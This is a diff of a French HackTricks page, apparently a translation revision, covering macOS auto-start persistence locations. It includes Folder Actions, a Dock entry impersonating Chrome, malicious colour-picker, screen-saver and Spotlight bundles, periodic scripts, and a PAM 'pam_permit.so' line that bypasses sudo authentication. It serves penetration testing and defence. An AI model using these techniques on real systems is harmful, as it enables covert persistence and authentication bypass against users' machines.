||||||
|
@ -816,13 +818,13 @@ Déplacez-le vers :
|
||||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
```
|
```
|
||||||
Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas, je l'ai appelé output2.scp) :
|
Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas je l'ai appelé output2.scp) :
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté.
|
Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté.
|
||||||
|
|
||||||
Cette configuration était stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64.
|
Cette configuration a été stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64.
|
||||||
|
|
||||||
Maintenant, essayons de préparer cette persistance sans accès GUI :
|
Maintenant, essayons de préparer cette persistance sans accès GUI :
|
||||||
|
|
||||||
|
@ -830,7 +832,7 @@ Maintenant, essayons de préparer cette persistance sans accès GUI :
|
||||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||||
2. **Supprimez** les Folder Actions que vous venez de définir :
|
2. **Supprimez** les Folder Actions que vous venez de définir :
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Maintenant que nous avons un environnement vide
|
Maintenant que nous avons un environnement vide
|
||||||
|
|
||||||
|
@ -870,7 +872,7 @@ killall Dock
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
En utilisant de l'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script :
|
En utilisant un peu d'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script :
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
|
||||||
|
@ -927,22 +929,22 @@ killall Dock
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle)
|
* Utile pour contourner le bac à sable: [🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* Une action très spécifique doit se produire
|
* Une action très spécifique doit se produire
|
||||||
* Vous vous retrouverez dans un autre bac à sable
|
* Vous vous retrouverez dans un autre bac à sable
|
||||||
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
* Contournement de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||||
|
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* `/Library/ColorPickers`
|
* `/Library/ColorPickers`
|
||||||
* Nécessite des droits d'administrateur
|
* Nécessite des privilèges d'administrateur
|
||||||
* Déclencheur : Utilisation du sélecteur de couleurs
|
* Déclencheur : Utilisation du sélecteur de couleurs
|
||||||
* `~/Library/ColorPickers`
|
* `~/Library/ColorPickers`
|
||||||
* Déclencheur : Utilisation du sélecteur de couleurs
|
* Déclencheur : Utilisation du sélecteur de couleurs
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`.
|
**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) puis copiez le bundle dans `~/Library/ColorPickers`.
|
||||||
|
|
||||||
Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également l'être.
|
Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également l'être.
|
||||||
|
|
||||||
|
@ -1000,13 +1002,13 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
||||||
* `~/Library/Screen Savers`
|
* `~/Library/Screen Savers`
|
||||||
* **Déclencheur** : Sélectionnez l'économiseur d'écran
|
* **Déclencheur** : Sélectionnez l'économiseur d'écran
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Description & Exploit
|
#### Description & Exploit
|
||||||
|
|
||||||
Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **économiseur d'écran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour générer des journaux.
|
Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **économiseur d'écran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour générer des journaux.
|
||||||
|
|
||||||
**Compilez** et copiez le paquet `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux :
|
**Compilez** et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux :
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -1023,7 +1025,7 @@ Timestamp (process)[PID]
|
||||||
Notez que parce que à l'intérieur des autorisations du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) vous pouvez trouver **`com.apple.security.app-sandbox`** vous serez **à l'intérieur du bac à sable d'application commun**.
|
Notez que parce que à l'intérieur des autorisations du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) vous pouvez trouver **`com.apple.security.app-sandbox`** vous serez **à l'intérieur du bac à sable d'application commun**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Code du protecteur d'écran :
|
Code de l'économiseur:
|
||||||
```objectivec
|
```objectivec
|
||||||
//
|
//
|
||||||
// ScreenSaverExampleView.m
|
// ScreenSaverExampleView.m
|
||||||
|
@ -1104,10 +1106,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
||||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||||
* `/Library/Spotlight/`
|
* `/Library/Spotlight/`
|
||||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||||
* Nécessite des privilèges d'administrateur
|
* Nécessite les droits d'administrateur
|
||||||
* `/System/Library/Spotlight/`
|
* `/System/Library/Spotlight/`
|
||||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||||
* Nécessite des privilèges d'administrateur
|
* Nécessite les droits d'administrateur
|
||||||
* `Some.app/Contents/Library/Spotlight/`
|
* `Some.app/Contents/Library/Spotlight/`
|
||||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||||
* Nouvelle application requise
|
* Nouvelle application requise
|
||||||
|
@ -1117,7 +1119,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
||||||
Spotlight est la fonction de recherche intégrée de macOS, conçue pour offrir aux utilisateurs un **accès rapide et complet aux données de leurs ordinateurs**.\
|
Spotlight est la fonction de recherche intégrée de macOS, conçue pour offrir aux utilisateurs un **accès rapide et complet aux données de leurs ordinateurs**.\
|
||||||
Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **base de données propriétaire** et crée un index en **analysant la plupart des fichiers**, permettant des recherches rapides à la fois dans les noms de fichiers et leur contenu.
|
Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **base de données propriétaire** et crée un index en **analysant la plupart des fichiers**, permettant des recherches rapides à la fois dans les noms de fichiers et leur contenu.
|
||||||
|
|
||||||
Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **bundles ".mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers.
|
Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **"bundles .mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers.
|
||||||
|
|
||||||
Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer de service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
|
Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer de service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
|
||||||
|
|
||||||
|
@ -1130,7 +1132,7 @@ Paths: id(501) (
|
||||||
"/System/Library/Spotlight/PDF.mdimporter",
|
"/System/Library/Spotlight/PDF.mdimporter",
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres):
|
Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres) :
|
||||||
```json
|
```json
|
||||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||||
|
|
||||||
|
@ -1167,14 +1169,14 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l'entrée **`UTTypeConformsTo`**. C'est parce que c'est un _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) intégré et il n'a pas besoin de spécifier les extensions.
|
Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l'entrée **`UTTypeConformsTo`**. C'est parce que c'est un _Identifiant de Type Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) intégré et il n'a pas besoin de spécifier les extensions.
|
||||||
|
|
||||||
De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas indexés par les propres `mdimporters` d'Apple.
|
De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas indexés par les propres `mdimporters` d'Apple.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour prendre en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé.
|
Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour qu'il prenne en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé.
|
||||||
|
|
||||||
Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`**
|
Enfin, **compilez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`**
|
||||||
|
|
||||||
### ~~Panneau de préférences~~
|
### ~~Panneau de préférences~~
|
||||||
|
|
||||||
|
@ -1201,7 +1203,7 @@ Il semble que cela ne fonctionne plus.
|
||||||
## Contournement du bac à sable root
|
## Contournement du bac à sable root
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou en nécessitant d'autres **conditions étranges.**
|
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet de simplement exécuter quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou en nécessitant d'autres **conditions étranges.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Périodique
|
### Périodique
|
||||||
|
@ -1223,7 +1225,7 @@ Explication : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevi
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **launch daemons** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.
|
Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **daemons de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -1282,11 +1284,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
||||||
|
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* Toujours nécessite les droits root
|
* Toujours nécessite des privilèges root
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur l'exécution facile à l'intérieur de macOS, ce blog ne donnera pas d'explication détaillée, **lisez les writeups pour mieux comprendre cette technique**.
|
Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur l'exécution facile dans macOS, ce blog ne donnera pas d'explication détaillée, **lisez les writeups pour mieux comprendre cette technique**.
|
||||||
|
|
||||||
Vérifiez les modules PAM avec :
|
Vérifiez les modules PAM avec :
|
||||||
```bash
|
```bash
|
||||||
|
@ -1296,7 +1298,7 @@ Une technique de persistance/escalade de privilèges abusant de PAM est aussi si
|
||||||
```bash
|
```bash
|
||||||
auth sufficient pam_permit.so
|
auth sufficient pam_permit.so
|
||||||
```
|
```
|
||||||
Donc cela **ressemblera à** quelque chose comme ceci:
|
Donc cela **ressemblera à** quelque chose comme ceci :
|
||||||
```bash
|
```bash
|
||||||
# sudo: auth account password session
|
# sudo: auth account password session
|
||||||
auth sufficient pam_permit.so
|
auth sufficient pam_permit.so
|
||||||
|
@ -1387,7 +1389,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* **`/private/etc/man.conf`**
|
* **`/private/etc/man.conf`**
|
||||||
* Nécessite les droits root
|
* Requis root
|
||||||
* **`/private/etc/man.conf`**: Chaque fois que man est utilisé
|
* **`/private/etc/man.conf`**: Chaque fois que man est utilisé
|
||||||
|
|
||||||
#### Description & Exploit
|
#### Description & Exploit
|
||||||
|
@ -1418,12 +1420,12 @@ touch /tmp/manconf
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* **`/etc/apache2/httpd.conf`**
|
* **`/etc/apache2/httpd.conf`**
|
||||||
* Root requis
|
* Nécessite des privilèges root
|
||||||
* Déclencheur: Lorsque Apache2 est démarré
|
* Déclenchement : Lorsque Apache2 démarre
|
||||||
|
|
||||||
#### Description & Exploit
|
#### Description & Exploit
|
||||||
|
|
||||||
Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne comme suit:
|
Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne comme suit :
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -1469,7 +1471,9 @@ Chaque fois qu'auditd détecte un avertissement, le script **`/etc/security/audi
|
||||||
```bash
|
```bash
|
||||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||||
```
|
```
|
||||||
### Éléments de démarrage
|
Vous pourriez forcer un avertissement avec `sudo audit -n`.
|
||||||
|
|
||||||
|
### Éléments de Démarrage
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**Ceci est obsolète, donc rien ne devrait être trouvé dans ces répertoires.**
|
**Ceci est obsolète, donc rien ne devrait être trouvé dans ces répertoires.**
|
||||||
|
@ -1504,27 +1508,17 @@ Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont corre
|
||||||
|
|
||||||
{% tab title="superservicename" %}
|
{% tab title="superservicename" %}
|
||||||
|
|
||||||
### Emplacements de démarrage automatique de macOS
|
### Emplacements de démarrage automatique macOS
|
||||||
|
|
||||||
#### Emplacements de démarrage automatique utilisateur
|
Les emplacements suivants sont des endroits où des services peuvent être configurés pour démarrer automatiquement sur macOS :
|
||||||
|
|
||||||
Les emplacements de démarrage automatique utilisateur sont les suivants :
|
- **LaunchAgents** : Ces services sont lancés au démarrage de session de l'utilisateur.
|
||||||
|
- **LaunchDaemons** : Ces services sont lancés au démarrage du système.
|
||||||
|
- **StartupItems** : Ancienne méthode de démarrage automatique, dépréciée à partir de macOS 10.5.
|
||||||
|
|
||||||
- **Dossier de connexion (`~/Library/LaunchAgents/`)** : Les agents de lancement spécifiques à un utilisateur sont stockés dans ce dossier. Ces agents sont lancés au démarrage de la session de l'utilisateur.
|
Il est important de surveiller et de gérer ces emplacements pour assurer la sécurité de votre système macOS.
|
||||||
|
|
||||||
- **Dossier de lancement (`/Library/LaunchAgents/`)** : Les agents de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur.
|
{% endtab %}
|
||||||
|
|
||||||
- **Dossier de lancement de démon (`/Library/LaunchDaemons/`)** : Les démons de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système.
|
|
||||||
|
|
||||||
#### Emplacements de démarrage automatique système
|
|
||||||
|
|
||||||
Les emplacements de démarrage automatique système sont les suivants :
|
|
||||||
|
|
||||||
- **Dossier de lancement (`/System/Library/LaunchAgents/`)** : Les agents de lancement système sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur.
|
|
||||||
|
|
||||||
- **Dossier de lancement de démon (`/System/Library/LaunchDaemons/`)** : Les démons de lancement système sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système.
|
|
||||||
|
|
||||||
Il est important de surveiller et de gérer les programmes et services qui se lancent automatiquement au démarrage de macOS pour des raisons de sécurité et de performances.
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
. /etc/rc.common
|
. /etc/rc.common
|
||||||
|
@ -1549,7 +1543,7 @@ RunService "$1"
|
||||||
### ~~emond~~
|
### ~~emond~~
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Je ne peux pas trouver ce composant dans mon macOS, pour plus d'informations consultez le writeup
|
Je ne peux pas trouver ce composant dans mon macOS donc pour plus d'informations consultez le writeup
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||||
|
@ -1572,7 +1566,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
||||||
|
|
||||||
#### Description & Exploit
|
#### Description & Exploit
|
||||||
|
|
||||||
XQuartz n'est **plus installé dans macOS**, donc pour plus d'informations, consultez le writeup.
|
XQuartz n'est **plus installé dans macOS**, donc si vous voulez plus d'informations, consultez le writeup.
|
||||||
|
|
||||||
### ~~kext~~
|
### ~~kext~~
|
||||||
|
|
||||||
|
@ -1597,7 +1591,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
||||||
kextunload /path/to/kext.kext
|
kextunload /path/to/kext.kext
|
||||||
kextunload -b com.apple.driver.ExampleBundle
|
kextunload -b com.apple.driver.ExampleBundle
|
||||||
```
|
```
|
||||||
Pour plus d'informations sur les [**extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
Pour plus d'informations sur [**les extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||||
|
|
||||||
### ~~amstoold~~
|
### ~~amstoold~~
|
||||||
|
|
||||||
|
@ -1606,7 +1600,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* **`/usr/local/bin/amstoold`**
|
* **`/usr/local/bin/amstoold`**
|
||||||
* Nécessite les droits d'administrateur
|
* Nécessite les droits d'administration
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
|
@ -1621,7 +1615,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* **`/Library/Preferences/Xsan/.xsanrc`**
|
* **`/Library/Preferences/Xsan/.xsanrc`**
|
||||||
* Nécessite les droits d'administrateur
|
* Nécessite les droits d'administration
|
||||||
* **Déclencheur**: Lorsque le service est exécuté (rarement)
|
* **Déclencheur**: Lorsque le service est exécuté (rarement)
|
||||||
|
|
||||||
#### Description & exploitation
|
#### Description & exploitation
|
||||||
|
@ -1734,14 +1728,14 @@ esac
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks:
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,7 +21,7 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
